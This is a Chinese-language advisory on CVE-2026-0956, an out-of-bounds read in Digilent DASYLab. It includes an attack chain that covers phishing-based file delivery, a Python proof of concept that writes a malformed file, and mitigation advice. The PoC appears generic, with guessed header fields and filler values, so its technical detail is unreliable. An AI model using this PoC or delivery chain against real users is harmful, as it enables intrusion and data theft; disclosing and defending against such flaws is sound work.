CVE-2026-0956 Digilent DASYLab越界读取漏洞

漏洞信息

漏洞编号

CVE-2026-0956

漏洞类型

内存损坏/越界读取

CVSS评分

7.8 高危

攻击向量

本地 (AV:L)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Digilent DASYLab

漏洞概述

CVE-2026-0956是Digilent DASYLab软件中的一个高危安全漏洞，CVSS评分达到7.8分。该漏洞属于内存损坏类漏洞，具体表现为在加载损坏的特制文件时发生越界读取（Out-of-Bounds Read）。攻击者可以通过构造恶意文件，诱使目标用户打开该文件，从而触发内存越界读取。成功利用此漏洞可能导致两种严重后果：一是敏感信息泄露，攻击者可从内存中读取超出预期范围的数据；二是可能实现任意代码执行，在特定条件下控制目标系统。该漏洞影响Digilent DASYLab的所有版本，攻击复杂度较低，但需要用户交互才能完成攻击。攻击向量为本地路径（AV:L），无需认证（PR:N），但要求用户打开特制文件（UI:R）。由于Digilent DASYLab广泛应用于工业数据采集和实验室数据分析领域，该漏洞可能对众多企业和研究机构造成安全威胁。建议用户及时关注官方安全更新，采取防御措施避免遭受攻击。

技术细节

该漏洞的根本原因在于Digilent DASYLab在解析文件格式时缺乏充分的边界检查。当软件尝试读取文件内容时，由于文件结构被精心构造为损坏状态，导致程序访问了超出预定缓冲区边界的数据区域。这种越界读取可能发生在文件头解析、数据块处理或内存映射等环节。攻击者利用这一漏洞的方式相对直接：首先构造一个包含恶意数据的损坏文件，该文件在特定偏移位置包含超出预期的数据长度或错误的指针值；当Digilent DASYLab加载此文件时，解析逻辑会按照正常流程执行，但由于输入数据的异常，访问地址会超出合法范围。在某些情况下，这种越界读取可以触发进一步的内存损坏，攻击者可能利用这些泄露的内存数据构造ROP（返回导向编程）链，最终实现代码执行。成功利用的关键在于精确控制文件损坏的位置和程度，以确保触发越界读取而非直接导致程序崩溃。

攻击链分析

STEP 1

步骤1：侦察与目标识别

攻击者首先识别目标系统中安装的Digilent DASYLab版本信息，确定攻击面和漏洞利用的可行性。通过公开渠道或社工手段获取目标基本信息。

STEP 2

步骤2：恶意文件构造

攻击者精心构造一个特制的损坏DASYLab文件（.dasylab格式）。该文件在文件头或数据块中嵌入精心设计的畸形数据，包括超大的偏移值、错误的指针和异常的数据长度，以触发越界读取条件。

STEP 3

步骤3：文件投递

攻击者通过钓鱼邮件、恶意网站下载、U盘传播或社交工程等方式，将恶意文件传递给目标用户。文件可能被伪装成正常的数据采集项目文件或工作模板。

STEP 4

步骤4：用户交互触发

目标用户在不知情的情况下使用Digilent DASYLab打开恶意文件。软件按照正常流程解析文件内容，此时越界读取漏洞被触发，程序尝试访问超出合法内存边界的区域。

STEP 5

步骤5：漏洞利用与影响

成功触发越界读取后，攻击者可能获取到敏感内存数据（如密钥、密码、会话令牌等）实现信息泄露；在更复杂的利用场景中，可能结合其他漏洞实现任意代码执行，完全控制目标系统。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/usr/bin/env python3
# CVE-2026-0956 PoC - Digilent DASYLab Out-of-Bounds Read
# This PoC creates a malformed Digilent DASYLab file that triggers an out-of-bounds read

import struct
import os

def create_malformed_dasylab_file(output_path):
    """
    Creates a malformed Digilent DASYLab file that triggers CVE-2026-0956
    The vulnerability is caused by insufficient bounds checking when loading corrupted files
    """
    
    # DASYLab file header structure
    header = bytearray()
    
    # Magic number for Digilent DASYLab files
    header.extend(b'DSLB')  # File signature
    
    # Version field - corrupted to trigger vulnerability
    header.extend(struct.pack('<H', 0xFFFF))  # Corrupted version
    
    # File size - intentionally mismatched
    header.extend(struct.pack('<I', 0x1000))  # Declared size
    
    # Chunk count - causes out-of-bounds read
    header.extend(struct.pack('<I', 0x7FFFFFFF))  # Extremely large chunk count
    
    # Data section with malformed structure
    data_section = bytearray()
    
    # Corrupted chunk header that triggers bounds check failure
    data_section.extend(struct.pack('<I', 0xDEADBEEF))  # Malformed chunk type
    data_section.extend(struct.pack('<I', 0xFFFFFFFF))  # Invalid size
    data_section.extend(struct.pack('<Q', 0xFFFFFFFFFFFFFF))  # Invalid pointer/offset
    
    # Padding to reach critical memory region
    data_section.extend(b'\x00' * 1024)
    
    # Final payload that triggers out-of-bounds read
    data_section.extend(b'A' * 512)  # Overflow data
    
    # Combine header and data
    file_content = header + data_section
    
    # Write malicious file
    with open(output_path, 'wb') as f:
        f.write(file_content)
    
    print(f'[+] Malicious DASYLab file created: {output_path}')
    print(f'[+] File size: {len(file_content)} bytes')
    print('[+] This file will trigger CVE-2026-0956 when opened in Digilent DASYLab')
    return file_content

def main():
    output_file = 'CVE-2026-0956_malformed.dasylab'
    create_malformed_dasylab_file(output_file)
    print('\n[!] Usage: Open the generated file in Digilent DASYLab to trigger the vulnerability')
    print('[!] Expected behavior: Out-of-bounds memory read, potential information disclosure')

if __name__ == '__main__':
    main()

影响范围

Digilent DASYLab < 所有版本（所有版本均受影响）

防御指南

临时缓解措施

在官方修复补丁发布之前，建议采取以下临时缓解措施：不要打开来源不明的Digilent DASYLab文件，特别是通过邮件或不可信渠道获取的文件；对所有传入的工作文件进行安全扫描和完整性验证；限制具有Digilent DASYLab执行权限的用户范围；启用系统安全日志监控，检测异常进程行为；在网络层面实施严格的访问控制策略，防止恶意文件传播。同时建议关注NI官方安全更新页面，及时获取最新安全公告和修复方案。